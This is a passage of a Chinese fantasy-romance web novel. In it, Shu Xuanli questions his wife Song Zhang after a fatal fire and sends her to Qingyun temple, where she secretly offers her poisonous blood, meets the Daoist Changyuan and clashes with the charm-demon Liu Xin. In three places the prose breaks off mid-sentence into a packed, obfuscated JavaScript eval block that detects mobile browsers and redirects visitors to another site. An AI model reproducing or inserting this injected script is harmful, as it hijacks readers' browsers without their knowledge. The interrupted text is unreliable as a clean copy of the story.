舒玄礼想了想,“我进去的时候屋里已经烧得差不多了,璋娘流了好多血,我便也来不及多想, 把人带了出来。张衙役有什么新的发现?” 张平道,“仵作经过检验尸体发现死者的肝脏与肠胃有糜烂的迹象,表象发黑,似乎是残余的毒素。” 说着,他略带怀疑地看向对方,“听宅中下人说死者似乎与令夫人有过龃龉。” 舒玄礼思索道,“龃龉...倒是没听说过,宅院之中一贯多口舌是非,流言不可全信。大夫诊断璋娘如今中了剧毒,又失血过多,尚用药吊着性命,待她醒来衙役再询问如何?” 张平闻言道,“并非此意,少夫人眼下性命垂危,自当安心休养。我们也检查过那簪子,上面的血迹是夫人的,看起来似乎是崔玉蝉有意谋杀宋璋,二人争执之间不慎撞倒了香炉,引起大火。” “真相如何,我也不能断定,之后还要全凭衙内定夺。”舒玄礼微微屈伸拱手。 张平忙回礼作揖,“郎君客气,这都是我等分内之事。郎君与我家郎君同为春闱考生,不好因此事耽误读书,郎君放心,此事我会尽快了结。” “衙役慢走。无方,送送衙役。” 无方送了张平回来,与舒玄礼一道进了含璋院,但见舒玄礼面色肃然,因知有事要说。 “郎君,有何事吩咐?” 舒玄礼从袖中拿出半块铜镜般的残铁,中间嵌有宝石,一条指针附着其上。无方观详一会儿,“这是什么?怪脏的,郎君怎么还收在袖里。” 舒玄礼将残铁放进匣子,递给了无方,“带到铁匠铺里悄悄融了。” 无方摸不着头脑,“熔了?这上面的珠子也熔了?瞧着可值钱呢。” 舒玄礼皱眉看向他,无方低头一边外走,“知道了知道了。” 床头放着侍女新采摘的芍药,带着夕露,粉嫩如瓷。宋璋静静地躺在床上,一身素衣,不施粉黛,皎洁如皓月。 明月啊......她向来在他心中便是天上明月,皎洁干净,不染尘埃。 那年陈氏族学中,他与她初次相见。 漫天大雪,女子独自在雪地里寻觅着什么。她只穿了几件叠加的秋衣,水洗得发白。一头乌黑的鬓发上点着一只大珍珠,看得出虽然极尽保养,还是因年久失了光泽。 她弯着腰手冻得通红,却仍在雪里翻找着。 忽而一群姑娘有说有笑地走了过来,其中一人他认得,是陈家的女儿陈进娴。 “都这么久了还没找到?我可告诉你,这绢花是荣宝斋新作的,只此一对儿。你要是找不到,今天就别回去了!” 陈进娴一把推了她,女子猛地跌落在地,头上的簪子坠在石上,当地一声,那珍珠便滚进了雪里。 女子这时才缓缓抬头,显示出了几分怒意。 “不知何处得罪,让三姐姐如此为难!且不说那绢花是否真的遗失,我的亡母留给我的珍珠簪,珍贵非常,三姐姐弄丢了它,又该如何抵偿我呢?” “抵偿?”陈进娴冷笑,“你既如此珍视你母亲的遗物,如何不珍视你母亲的名声。养出一个如此下作无德的女儿,你母亲泉下有知,怕是也并不高兴吧。” 女子猛然抓了一只大雪球朝陈进娴砸了过去,吓得众人花容失色。 有人拉了拉陈进娴,“进娴,事涉亡母,有些过了,算了,咱们回去吧。” 陈进娴气得半死,怒气冲冲地上前去翻那女子的书箱。 “你们别被她那副可怜模样骗了,什么亡母不亡母的,还说书香门第呢,你们看看这是什么?” 陈进娴将书箱翻出的那张纸拿了出来,展开在众人面前。此刻众人都有些讶异起来。 “这文章……不是舒二郎的笔墨么?怎么在她手里?难道他们……” 陈进娴冷哼道,“舒二郎何等风姿,自是不会搭理她。这是他那篇《雪赋》的废稿,被这贱人捡来藏着。” 她一边说着一边又推了那女子一把,“花着我陈家的钱,竟背着我六弟做这等勾当,你想男人想疯了,我陈家的脸都要被你丢尽了!” 正要离开的舒玄礼顿了顿,目光微动。 女子颤巍巍站了起来,单薄的身姿却在一片风雪中如玉山巍峨。 “我与舒郎君素不相识,如何会心悦于他,背弃陈家。” “素不相识?无生旖旎为何藏私?” “三姐姐,这人间并非只有男女欢好之情。舒郎君才志高远,行笔之处可见青松沐雪,清正不折之象。今朝虽未明了,他日却定有辅臣馆阁之位。我心中景仰,以为私淑。” “好啊,一张嘴巧言善辩,颠倒黑白。我也不问其他,你只将我的东西找了来,若不能,你今日就别想回家了。我们走。” 陈进娴都以为她是偷了他的废稿,其实他一眼便认出那字迹虚弱,失之偏颇。 他抬了抬脚,衣袍下一颗黯淡的珍珠深深嵌在漆黑的深穴中。 他将它拾起,走到了那女子身前。 她缓缓抬起头,收紧了袖中的那张纸。 “多谢郎君。” 她的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056236|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透着疏离,似乎还有几分窘迫。接过那珍珠后便背过身远远地朝另一边走去。 他在马上的时候似乎什么也想不到,他不知道为什么要这么做,也不知道为什么要去万宝斋。 脸上刺骨的寒风划过却像擦出了炽热的火花,心头的躁动唯有这漫天风雪可以平息。 他一路疾驰去万宝斋买了一对绢花,回程途中鬼使神差地又去庄园买了一株和这绢花生得差不多的白芍。 等到他满身风雪地站在她面前时,她的眼睛瞪得很大,像受惊的白鹿。 “令姐的绢花我在西园顺路拾得,故而为姑娘送来。天冷雪大,姑娘早些回去吧。” 她似乎有些古怪地打量了他一眼,又看了看书箱中的那一朵绢花,一只白芍。 “这花儿……也是顺路折来的?” 他点了点头,便见她将那颗珠子放在了他手中,“无功不受禄,多谢郎君相助,这便算是我的买花钱了。” 她对他行了一礼,却留下了那绢花。 他提醒她,她微微笑了笑,“我三姐今日出门只戴了一朵绢花,本就没有的东西,我决计寻不出来,未免拖累郎君,更生事端。 郎君好意,璋娘心领了。” 当初生出的那点琦思幻梦全为她勘破,他心底也油然生愧。 一幅一样的字,一只花儿。 他自以为才子佳人,英雄救美,实则她心思澄明,皎洁如月。 她是如此高洁之人,平生持守谨慎,只有诗书聊以慰藉。 她不愿做那空心的物件,不愿做那依附的丝萝。她就像一株洁白的芍药独自绽放。 他愿意做那暖房中的炭火,温热的净水,伴她凛然霜雪,恣意春风。 可是眼前的人真的需要他吗? 他深深望着宋璋熟悉的面庞,陪伴了三年的枕边人,此刻却显得陌生起来。 宋璋缓缓睁开眼,见到的就是舒玄礼这一副高深莫测的神情。 火场的回忆瞬时席卷而来,画面的最后定格在玉蝉被火焰吞噬的痛苦神色。 她望着眼前人漆黑的瞳孔,心跳漏了一拍。 “玄……玄郎。” 舒玄礼却起身离开了位置。 泠泠的水声伴随着蒸腾的雾气升起,她望着他的背影,咽了咽口水。 她只是喊了他一声,便一同沉寂下来。 等到看着她喝完一碗茶水,便听舒玄礼道,“玉蝉死了。” 他盯着她,目光是她陌生的疏离,她的心一下子没章法地跳了起来。 冷静,冷静。 玉蝉死了,一切就都消失了,他们什么也不会知道。他们的对话,她的那股怪异的力量,通通都被埋在火海之中。 她脸上先是显出惊恐,继而那双晶莹剔透的眸子滚出大颗大颗的泪珠,病态的白皙配上这双红红的眼睛,格外惹人动心。 不过对上的却是舒玄礼冷静的面孔,他用帕子轻轻为她擦去眼泪。 “你们之间究竟发生了什么?” “我见玄郎久去不归,便去后院寻你,却撞见玉蝉妹妹说你吐了一身,在房中歇息。我便随她一同去找你,不曾想她竟在茶水里下了毒,还要杀了我,扭打之间,我撞翻了火炉,不曾想烧了起来。再后来……” “她为何要杀你?” 舒玄礼微微皱着眉头,似乎有些不耐。 “她说母亲说我身体不好,有意扶她为正。夫君今日却又拒了她,她以为是我的授意,料想一时恼恨……” “一时恼恨,所以要拉你陪她一同偿命?她的肝脏中也有毒素。” “玄郎这是怀疑我?” 宋璋似乎有些不可置信,撑着身体微微坐直了一些。 “事关人命,已惊动了衙门,我若不问得仔细些,过几日官差上门,只怕比这更尖刻。” 舒玄礼深吸了一口气,声音软了几分,他看着她,“阿璋,事情究竟如何?你只管说出来,若有难处,我替你想应对之法。” 她目光微动,却只是怔愣了一瞬,便握着他的手道,“我相信玄郎,虽然不知道玉蝉到底为何要做出这种事,可衙门断案也讲证据,不会冤枉好人。我们只需照实说了就是,玄郎不必为我担忧。” 炽热的手陡然抽离,她怔怔看着他,他问:“阿璋,记得你与我说过你最爱的那首汉诗吗?” 是他们共推为夫妻最佳五言。 “生当复来归,死当长相思。” 她脱口而出,舒玄礼却深深望着她,目光复杂,“是结发为夫妻,恩爱两不疑。” “夫妻一体,两不相疑。阿璋,我再问你最后一次,你果真要拿方才那番话应对我吗?” “那玄郎想听什么?” “只要是你说的我都愿意听。” “我想说的都已说给玄郎听了。” 她面上笑着,他却从她的声音中听出了些许冷意。 大门砰地一声关上,明心等人面面相觑,犹豫着要不要上前,便见舒玄礼脸色铁青地走了出来。 “替你们娘子收拾好行装,明日便去青云观清修养身。” 明心低着头,一溜烟钻进了房中,“娘子,这是怎么了?郎君方才说您要去青云观,这伤还没好怎么可以乱跑。” 宋璋静静地坐在床前,盯着那盆炭火出神。舒玄礼想知道她到底是一个什么样的人,其实她也想知道。 她手心翻转,冰冷的掌心却生不出半丝光热。那场火的炽热,皮肤与布料被炙烤的气味仿佛仍旧留存在身边。 又死了一个人了…… 下一个是谁? 她……又到底是什么? 那夜舒玄礼被碎片贯穿血流不止的样子让她噩梦不止,她或许真的是个怪物,或许离开他是对他最好的选择。 10. 青云观 清晨时分就见明心等人在为她收拾衣物,舒玄礼当真铁了心要送她离开。 她明白他想要的,却又不明白。 他想要真意,想要求真到底,可是他不知道真意背后的虚无。就像胡葱,外面层层包裹,谁都想探究这其中究竟是什么,越是层层围困,越是要扒心撕肺。 等到真的一层一层,逐渐接近,那种探究的欲望到了极点,最后一层剥开,却发现什么也没有。极致的空洞,到那时又情何以堪。 枫叶黄了又红,红了又黄,到一月时已遍染霜白。 成熟饱满的柿子掉落在雪里,引来乌鸦驻足,它们低头啄食,长长的两半喙尖满是濡湿的红色,那团果肉被啃食得坑洼不平。 窗子陡然推开,惊飞了鸦群,那具柿尸还往外流着汁液。 她把碗里的东西倒在了树边,顷刻间整棵树开始枯萎,饱满的柿子萎缩成一个干瘪的布袋。 关上窗子,只留下一盏幽微的烛火,那点光不足以照亮整间屋子,却足够让她看见。只要那么一点,那一点点就够了。 她蜷缩在床前发着呆,血液过多的流失让她有些飘忽,像是喝醉了酒,整个身体沉重的,灵魂却轻飘飘的,像树上的柳絮,在风里飘荡着,随时要离开,又始终附在躯体上。 她是妖吗? 她摊开了手掌,苍白干燥的,青色紫色的筋脉隐约可见,其中埋藏着的血若隐若现,像被分割成的桃花的粉色,斑斑点点,在掌心各处。明明是再普通不过的一双手,却能让玉蝉发出那样痛苦的神情,她明明什么也没有做。 她就好像被一股无名的狱火点燃,甚至焚毁...... 她被活生生烧死在了那件屋子里...... 一个捉妖师,被她无意中杀死了。 不,不是她。是她身上的那邪气。从她幼时起,那股邪气就缠绕着她,挥之不去,如同噩梦一般给她身边亲近的人带来厄运。 据明心来信,舒玄礼已经收拾行装上路去京城。她的那颗心非但没有安定下来,反而越加烦乱。 起初她不是不失望的,但明心说自她走后舒玄礼便常常和县令家的公子去春芳楼吃酒,三人还约定结伴上京。舒家的那件命案也随风雪消逝在尘埃中。 她能明白过来,舒玄礼是要她避祸。他几次来青云观上香求功名,她却知道他是来看她。毕竟于功名一事,他从不信求神佛。 正因如此了解,她更加无法靠近。 玉蝉的死让她发觉她的异样。舒玄礼来青云观的几次,不是赶上雪大车翻就是碎瓦砸落,又或是染了风寒发了高热。 好像靠近她就会发生灾祸。她听闻佛经中有割肉喂鹰一事,道观不好叫人知晓,她请了一尊真人像在屋里,每夜偷偷在案前供奉精血,以祈求舒玄礼的平安。 似乎这种方法真的奏效,她一碗血一碗血地滋养着,舒玄礼久热不退的病却好了起来。于是她装作赌气似的,再不见他。 他走了,她的心也空了起来。那夜的噩梦便像巨大的海浪反反覆覆地将她托起又抛下,扰得她不得安宁。 笃——笃—— “宋娘子。” 深夜寂静中,男子冰冷的声音在门外响起。 她显得有些雀跃起来,小跑着打开了门。虽然迎着月光,长垣那张圣洁的脸,一尘不染的道袍尽入眼底,但宋璋背对着光,却是非常模糊。 长垣不动声色地打量着,将手里的书拿了出来,“娘子要的那几本书小道给您带来了。” 宋璋有些失望,不是他的家书。 “多谢道长了,请进来喝杯茶吧。” 长垣的屋子离这里不近,他却冒雪给她送来,于是她请他走了进来。宋璋在前面走着,长垣在后慢慢走着,不慎袍角勾在凳子上绊倒了木凳。 宋璋回身要扶住他,“道长小心。” 长垣收回了手,一边继续走着,“无事。屋内这么暗,宋娘子不点灯么?” 屋里点着炭却又开着窗,修行之人五感灵敏,不难闻见空气中遗留的淡淡的血腥味。 这位宋娘子是青云观的大主顾,年纪轻,身份重,他年纪也不大,本不适合他照看。只是掌门下山,他不得不负责观中事务。 话音方落,便见宋璋不知何时已走到屏风后点燃了灯烛,素色的屏风下,一张巨大的人影弓着背对着他,她持着灯渐渐走了出来,巨大的影子便一下化作一个瘦弱婀娜的女子走到他身前。 那种诡异的感觉更重了。自她入观以来他就隐隐约约察觉到一种奇怪的气息,尤其今夜,那妖气越发浓重。 看着宋璋重将炉子点了起来,温了一杯香茶,“道长,请。” 他接过茶水时故意偏了偏,将茶水洒在她手上,宋璋皱了皱眉,但只是一瞬间,她又恢复了神色。 只是一瞬,足够长垣捕捉到那异常。是血痂,还未完全成形的血痂,她在自伤。一个官宦人家的少奶奶,祈福求子的清修者,夜半时分残害身体,实在古怪。 “夫人让我找的书其实于观中是偏门,所以耗费了些时间,子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“娘子涉世未深,未免太过天真。”长垣淡淡回了过去。 宋璋不免笑了笑,他们谁也说服不了谁,罢了,像长垣这种修道之人这样想也是难免。毕竟他们以驱邪正念为业,谁又会砸自己的饭碗呢。 她的问题实在古怪,长垣思索间从袖中拿出了一张符纸。 “夫人脸色不好,是心神不宁所致。这里是我画的静心符,夫人睡前将它丢进炉中焚烧,便可驱散邪祟,凝神静气。” 宋璋不疑有他,正要接过符纸,一声惊叫忽而传至长垣耳边,一股浓烈的妖气弥漫进来。 有妖气,妖在…二楼! 没等宋璋说话,长垣破窗而出,往二楼飞去。 11. 魅妖 青云山是东流县最大的道观,虽然现在不过替人答疑解惑,供奉神祖而已,但在百年前,这里是有名的捉妖仙门,几位有名的先祖譬如青弥掌门、五指道长都曾消灭过许多为祸人间的大妖,青弥掌门的大弟子赤练道长建立万妖塔,将方圆百里的妖物尽数压入塔下,门下弟子随便拎一个出来也是可以对付寻常小妖的。再往前最初立山的时候甚至还有道士得道成仙的…… 后来海内升平,太平盛世,妖类大多被收入塔下,又畏惧威名,不敢往东流县来,青云山的名气也就渐渐淡了下去。“捉妖”二字似乎成为了久远的传说。 门内的年轻弟子甚至有许多都是不信有妖的,他们来青云山不过是为了混口饭吃,或是走投无路,或是在人世受到伤害,来此修心养伤……长垣却是对有“妖”这件事深信不疑,他从十三岁进山门起便努力修行,潜心钻研道术。 他是当时赤练道长的关门弟子,也是如今唯一的弟子。正是凭着这份志气,他第一时间察觉到了山门内的妖气。 道观的居所分为两处,从前只有山门弟子能居住在静聆院,为的是静心修炼,现在香客渐多,开销又大,应酬往来之事也不少,于是在静聆院东边靠近竹林的地方另辟了居所供来此清修的香客居住。竹风院内又分东西北三处屋舍,东西由一片竹林隔开,男女客分开,宋璋没带侍女,因而只是在简略一些的东厢一楼居住。 长垣循着声音追去,发现正是在宋璋这间房的正上方。 这间房子的主人是一个姓柳的姑娘,据说是一个大户人家的小妾,因为生得貌美年轻,深受主家喜爱,所以被主母嫉妒,找了个由头送到青云山来清修。 方才的那声音似乎正是她的。 隔着纸窗,幽暗的灯火映照出来,几点深褐色的痕迹渗透出来,是血迹。 长垣握紧了手中的剑,在门口观察着,忽而一阵噼里啪啦东西摔倒的响动,又有打斗之声,什么东西重重撞在了门上。 门前的长垣猛地退后了一步,便见一个高大的影子紧接着覆了上来,那女子便发出惊恐的哭喊,“救,救命啊!” 长垣立刻破开了门,便见那生着狐狸耳朵的男子正扯着柳心的手张开獠牙往她脖子上凑,肩头的血迹尚存,她的脸色有些苍白。 一双漂亮的眸子满是畏惧。 见长垣来了,她颤巍巍地伸出手指向那男子,“道……道长,妖怪,有妖怪!” 她终于忍不住哭了起来,长垣为这突然响起的声音皱了皱眉,太过聒噪,连那狐妖似乎也有些不耐,又朝她伸出爪子试图直接抓走她逃离这里。 长垣见状立刻念了一个口诀,抓住了他的腿,而后拔剑朝着他的手砍去,狐妖这才松开手,柳心落在了地上,急忙往长垣身后躲去。 趁着这空档,狐妖再度朝柳心袭来,长垣冷笑一声,“不自量力。” 他伸出双指,凝气于眉心,而后运气于剑,直挺挺地刺入了狐妖心上。那狐妖的眼神愣了愣,似乎挣扎着什么,猛然吐出一口鲜血,而后身边环绕着金色的符咒,他就这么直挺挺地倒了下去。 长垣捻了个口诀,正要将狐妖收入妖袋,忽而一个冰冷绵软的东西拉住了他的手,青白的道袍微微颤了颤,像蝴蝶落在花蕊上。 长垣转过身,那位柳姑娘正噙着泪水汪汪地看着他,“道长别走,我被妖怪咬了,会中毒吗?” 柳心的衣服半落在肩头,雪白修长的脖颈上有两个牙印子,正往外渗血。 长垣定定地看了她一会儿,然后蹲下身来用手指在伤口上方扫过,“没有毒,只是寻常的创口。” 他从袖中拿出一罐药膏,用手指抹了抹,随即靠近柳心。 雪白的肌肤与赤红的血映入眼帘,长垣从外带来的松雪清气与女子身上的温热气息交叠,柳心低下了头移开目光。 冰凉带着些许刺激的紫草膏在肩头平展开,她的面庞浮现了一片云霞,然而在长垣看不见的袖中,一双素手已运起紫红的光芒,化作一缕烟幽幽地绕过长垣,试图从他背后钻进去。 柳心勾了勾嘴角,听闻道士清修不近女色,他们的精气应当比常人更为浓烈醇厚。不管什么男人,美丽的皮囊一现,给一个英雄救美的机会,还不是都化作欲望的奴隶,牲畜与人,并无分别。 然而下一刻,那缕烟却在触碰到他衣裳的那一刻弹了回来,被分叉为四五缕徘徊着。 她脸色有些难看,这小道士穿的是無法衣,不近淫邪,不侵百毒。而且他的道行竟然也不小,不过才二十多岁的年纪,竟然比她修炼百年还强。 想了想,她还是将那几缕魅烟收了回来。 想钓条大鱼,却没想到这么大,她现在是心有余而力不足,罢了,还是不要招惹这道士,免得因小失大。 柳心往后退了一步,拉上了衣服,柔声道,“今夜多谢道长相救,事急从权,失礼之处还请见谅。” 瞥了柳心一眼,长垣收回了手,在帕子上擦了擦残余的药膏,随手扔在了桌上。 “出家人无谓俗礼,姑娘客气了,可知道这妖是哪儿来的。” “我也不知道,我正在床前梳头,门不响窗不动,忽然就多了个人在我房里。又欲行不轨……” 说到此处,柳心脸色发红,似乎不忍再说下去。 长垣仍旧是淡淡的,话里虽是安慰,却听不出安慰的情感。 “近日大雪,许是竹林处的符纸落下来,许多小妖才趁虚而入。我明日便与师兄弟们拉好法界,姑娘不必担忧。” 眼前的女子始终紧拢着衣服,离他保持着三步的距离,神情局促,一副男女授受不亲的样子。 长垣瞥了一眼帘后的狐妖,用手探了探,确认已经没了气息,便对柳心道,“夜已深,我便不打扰姑娘了,告辞。” 柳心点点头,看着长垣走出去,趴在窗前盯着他离开了东厢,这才关上房门。 走进内间,她却绕过地上的狐妖,径直往盥洗架边走去,裙摆所过之处,那狐妖头上的耳朵褪去,爪子也消散恢作寻常模样,显露出一个男人的样子。 柳心将手在铜盆中泡了泡,方才从那道士身上收回的魅丝在体内有些发热,她要凉一凉手。 地上男人从心口处开始紫红的魅丝发着光,连同双手双脚、头部几条丝线抽离出来,汇作一条飘回了柳心手中。那尸体便迅速地干枯下去,只剩下一层枯黄的皮包着一具骨头。 她吐出一口浊气,看了看自己的手,只有这么一点精气,还远远不够。按这个质量下去,还得再吸几百个人,想想就有些累。 若是能吸到方才那个道士…… 很快她就摈弃了这个念头,罢了,那道士方才直勾勾看她那么久,却一丝邪念也无,加上有無法衣护体,魅丝根本进不去,若被他发现,反赔了夫人又折兵。 正想着,窗外忽然一阵大风起,吹开了窗门,地上的男人风筝架子似的就猛然被一股气流吸到窗边,柳心还没来得及拉住他,就掉了下去。 …… 本就干瘪的几颗柿子被庞然大物砸下,瞬间变成了柿饼。 宋璋一手提着篮子,一手拿着碗,正在给门口的柿树浇水,便听前方什么东西掉了下来,发出声响,原来是一具干枯的男尸落在了她院子里。 她抽了抽嘴角,只看了一眼,继续将手里剩下的半碗在树角倒干净,而后捡了几颗柿子放进篮子里便转过身走进了屋里。 柳心推开窗子,在上面默默注视着那女人走进房内,几缕魅丝在她掌心蓄势待发。 人类的眼睛不比妖类,今夜无月,又多高树,放眼望去是漆黑一片。看那女人这么淡定,一声不吭地浇水捡柿子,应当是没看见? 宋璋将手里的篮子放在了桌上,她用线将几颗干瘪的柿子串了起来,挂在墙上。然后倒了一杯清茶,将里面的血渍冲洗干净,倒扣起来。 就着一盏残灯,她铺开了纸张。 “近日大雪,霜染红叶,见灰兔尚蜷缩洞中舔舐毛羽,思及君处,添衣增食否?冷暖瘦饿否?妾居青山,万事闲好,唯思君心,日夜无休,盼君归来……” 停笔至此,想了想,划掉了后一句。 “妾居青山,万事闲好。君其无忧,风物煌煌,风雪莽莽,行途宜漫,车马宜缓。” 手腕处渗出些许血迹,隐隐作痛,她拿起那张纸晾了一会儿,欲放进信封中,又顿了顿,在掌心揉成一团,丢在了地上。 剪去灯芯,火光亮了一些,她拉下帘子躺进了帐子里。 翌日一早,宋璋还在床上的时候有人敲开了她的房门。带着些许不耐,打开门,却是一个陌生面孔。 柳心站在门口,提着一个食盒笑意盈盈道,“宋娘子还没吃早饭吧。” 柳心脸上涂着厚重的脂粉,眉似新月,眼如春水,两片花瓣形的嘴唇嫣红泛着光泽。一身水红衣裙,墨绿绣鞋,半敞着领口,看着就让人生寒。看着她肩上的雪和冻红的皮肤,她打开了门,让了让身。 宋璋拨了几粒炭到手炉里递给柳心,一面去烧热茶,柳心则毫不客气地跟着她进来一屁股坐在了罗汉榻上。 “柳姑娘找我有什么事吗?” 她和这位柳姑娘不过点头之交,眼熟而已,冒着风雪而来……想到昨夜的那具尸体,她心下已明了。 柳心打开食盒,一面摆开,一碗白粥,一碟咸菜,一碟春卷。 “的确是无事不登三宝殿,我见夫人门口的柿子生得好,想来摘一点带回去,不知娘子……” 宋璋笑了笑,“本是东厢院所种,不归我所有,姑娘想要自摘便是。” “话虽如此,见夫人常常夜半浇水,劳心费力,也有一番功夫在里面呢。” 柳心笑着,忽然道,“昨夜有样什么东西,轰然一下子掉了下去,夫人可曾看见了?” 柳心紧紧盯着宋璋,她手里拿着铜壶,一手扶把,一手拿着白布拖着边,往小碗中倒水。 细长的水柱注入碗中,淙淙之声在静谧的屋子里格外明显。 柳心继续道,“听说是一只狐妖,扮作人的模样,专挑夜里勾引男子,一旦得手,便吞吃人心,吸干人血……” 她语气中带了些许激动,眼睛却始终盯在宋璋漆黑的瞳孔中,她神情毫无波澜,手上的茶壶也十分稳定,倒完刚刚好一杯茶,递给了柳心。 “世上哪里有妖,怕是贼人作乱,以讹传讹罢了。青云山有仙家之气,又有诸位道长坐镇,姑娘不必听他们胡言乱语。 即便真有妖,只要潜心修道,诵经祈福,邪祟也不能入体。” 她端起饭碗慢条斯理地喝着粥,柳心收回了目光,打消了疑虑。心中带了几分嘲讽。 一个蠢得求神拜佛的妇人,若真看到了想来不会这般淡定。昨夜尸体已经焚毁,想来不会有什么事。 这地方来往的男女众多,是修炼的好地方,她还不想这么快换地方。 陪着寒暄了几句,正要离开,她余光瞥见了窗口倒扣着的茶碗,是昨天她手里拿的那个碗。赤棕的碗口一圈挂着深褐的漆状物,印在窗台,她调动五感闻了闻。 顺着气味,目光渐渐落在了那棵柿树上,本该碧绿油亮的叶子呈现枯黄之色,柿子干瘪泛灰,风一吹便接连掉落。那片连接树身的土地寸草不生,呈现出浓重的深褐之色,带着潮腥…… 这女人昨夜不是在浇水,而是血。她的血能让树木枯朽,她不是人。 柳心抿了抿唇,看向了眼前苍白病弱的女人。 想不到在这里还能遇到同类。 虽然不知道是什么妖,在这里有什么目的,但她一定看到了昨夜的那具尸体。又或者,她目光渐冷,那个小道士就是被她引过去的。 她袖中的手慢慢伸出了爪牙,凝神聚气,却突然发现自己无法调动气息,整个人软绵绵的,头痛恶心。 不好,她看了看手中的那杯茶,这女人给她下了妖毒。 柳心抬起头,换上一副笑容,撑着桌子站了起来,“听夫人这么说我就放心了,今日来打过招呼,往后彼此也有个照应。那我就不打扰夫人了。” “我送姑娘出去。” 宋璋亦发现自己的身体有些奇怪,吃了一口柳心送来的蝴蝶酥,她的胃里就巨浪翻滚,恶心想吐,浑身无力。 她也笑着,心下却猜不透她到底想做什么,她是妖,杀她易如反掌,何必给她下毒。 还是赶紧将她送走,再作打算。 两人暂且放下心绪,一团和气地送到门边,柳心已是大汗淋漓,腿软得柳条一般,几乎站立不住。 她缓缓抬手,想要抓住门边的柜子支撑,宋璋见她目光闪躲,心中警铃大作,悄悄拿过了一把剪刀收入袖中。 两人暗中动作,目光相触,忽然伸手打了起来,只轻轻一推,宋璋跌落在地上,她朝柳心扔了一把剪刀,柳心往门边一闪,低下头,当啷一声,砸中了木架子,发出沉闷的一声响动。 …… …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056238|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “来人呐,有妖……” “救命啊,有妖……” “怪——” 两人异口同声,脸上立刻摆出惊惧之态,意识到对方的行动后,那绵软的话语冻在了唇边。 柳心露出了些许鄙夷的神情,“有本事下毒没本事杀我,扔把破剪刀你装什么装?” “谁给你下毒了?我倒真该毒死你,砍了你的手指。”宋璋冷冷看着她,“已经杀了一个人,再杀了我,长垣就是傻子也知道是你做的。” “你昨夜为自己保命把他引到我那儿去,你以为这次杀了我,还能故技重施?” 柳心恨恨瞪着她。 看了一会儿,柳心道,“哎,别装了,没人在这儿,你还不起来?” “你不也一样?” 宋璋嗤笑一声,看着柳心双手撑地,两腿并拢斜坐在地上,鬓发散乱,一副我见犹怜的模样。 柳心翻了个白眼,“没力气,要杀就杀。” “我也没力气。”宋璋声音冷得能掉出冰碴子。 阴云退却,柔和的阳光透过纸窗照进屋内,落在朱红的轻纱,嫩绿的锦缎之上,随着女子的动作流光溢彩。 宋璋和柳心冷着脸,用手肘撑着,匍匐爬到了香炉边,揭开了盖子,一碗茶水浇了进去。 两人靠在柜壁,好一会儿,才觉全身的气息恢复了一些。 柳心用钳子夹起里面烧的只剩一个角的符,心中翻涌起无数骂人的脏话。 “我说大姐,我们初次见面,你不至于吧,不惜同归于尽都要害死我。” 宋璋道,“长垣说这是明心静气的符。” “是够静气的,再闻下去直接没气了。”柳心道,“你是疯了敢用他给你的符,你知道他是谁吗?” “道士捉妖,符纸自然制妖。” 柳心几乎气得跳起来,“可你就是妖啊!” 看着高深莫测的,一脸淡定,原来是纯没长脑啊。她没被长垣杀死先被这女人蠢死了。 宋璋冷下脸来,“我不是妖。” 柳心诧异地看着她,“你不会不知道自己是妖吧。” “怪不得连法术都使不出来,原来是不会用啊。” “我说了我不是妖。”宋璋语气几乎降到冰点。 柳心却笑了起来,拉过她的手试探起来,魅丝伸进了她体内游走,却被迅速腐蚀,她急忙抽回了魅丝。 古怪地看着宋璋,“你到底是什么东西,还从来没见过你这种妖。” 感受不到法术的力量,却浑身充斥着毒血。不过也不奇怪,她一直待在东流县,没去过别的地方,自然也不知道世上到底有多少种妖。 想了想,柳心故意道,“还说你不是妖,你的血可是能毒蚀万物,根本不是正常的人类。门口的那棵树就是这么被你浇死的吧。” 宋璋被她握着手,感觉到疼痛,皱了皱眉,“放开。” 柳心注意到了她的伤口,“不过你好端端地给树浇血做什么?还冒着被道士发现的风险,嫌自己命长?” 她思索着,一边围着宋璋打转,忽而她站定笑道,“我知道了,你是想掩盖这股妖气,怕被人发现了。” 宋璋沉声道,“你说完了吗?说完了就可以滚了。” “别生气啊,好容易遇到同类,咱们坐在一块说说话,不好么?你来这儿做什么,也是来钓男人的?” 宋璋白了她一眼,扶着床边起身往罗汉榻走去。 柳心立刻跟了上去,“要不要我给你介绍几个,青云山的道士还不错,只要别挑那些年龄大的,修为低的最好下手……” “我在这是等我夫君回家。” 宋璋打断了她,不愿再听她胡言乱语。 “原来是为了男人……”柳心一听便明白了七七八八,对宋璋也有些鄙夷起来,“这么伤害自己,就为了一个男人,你害怕自己的身份被他发现,所以躲在这里散妖气。” 她嗤笑一声,“连最真实的一面都不敢让他知道,这种男人值得吗?” “你这种妖懂得什么,你根本不懂他,也不懂我们之间的情感。” 宋璋话语间带了几分愠怒。 柳心冷笑,“我这种妖,是哪种妖?你是想说我放荡□□,不知羞耻,流连男人之间,根本不懂你和你那个人类夫君的真挚爱情?” 